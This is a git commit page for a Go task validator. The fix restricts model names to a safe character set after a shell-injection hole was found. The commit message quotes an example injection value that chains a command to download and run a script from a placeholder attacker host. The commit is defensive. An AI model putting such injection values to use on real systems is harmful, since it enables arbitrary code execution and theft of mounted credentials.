diff options
| author | Peter Stone <thepeterstone@gmail.com> | 2026-07-08 04:39:42 +0000 |
|---|---|---|
| committer | Peter Stone <thepeterstone@gmail.com> | 2026-07-08 04:39:42 +0000 |
| commit | 0cedb90d44b09c9eda296bcdb8cedd5b58d76d22 (patch) | |
| tree | 80bfb42f70186c81948610ebe0053bee3bac9c38 /internal/task/validator.go | |
| parent | 0525ed028bf2877d5423e3197c12b384b6bf809f (diff) | |
fix(task): reject shell metacharacters in Agent.Model
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
Diffstat (limited to 'internal/task/validator.go')
| -rw-r--r-- | internal/task/validator.go | 11 |
1 files changed, 11 insertions, 0 deletions
diff --git a/internal/task/validator.go b/internal/task/validator.go index 09f4b34..03d3921 100644 --- a/internal/task/validator.go +++ b/internal/task/validator.go @@ -2,9 +2,16 @@ package task import ( "fmt" + "regexp" "strings" ) +// modelPattern restricts Agent.Model to characters safe to concatenate into +// the `sh -c` command executor.ContainerRunner.buildInnerCmd builds for the +// claude CLI's --model flag. Real model names (e.g. "sonnet", "opus", +// "claude-sonnet-4-6") only ever use this character set. +var modelPattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`) + // ValidationError collects multiple validation failures. type ValidationError struct { Errors []string @@ -55,6 +62,10 @@ func Validate(t *Task) error { } } + if t.Agent.Model != "" && !modelPattern.MatchString(t.Agent.Model) { + ve.Add(fmt.Sprintf("invalid model %q; must match %s", t.Agent.Model, modelPattern.String())) + } + if t.Agent.PermissionMode != "" { validModes := map[string]bool{ "default": true, "acceptEdits": true, "bypassPermissions": true, |
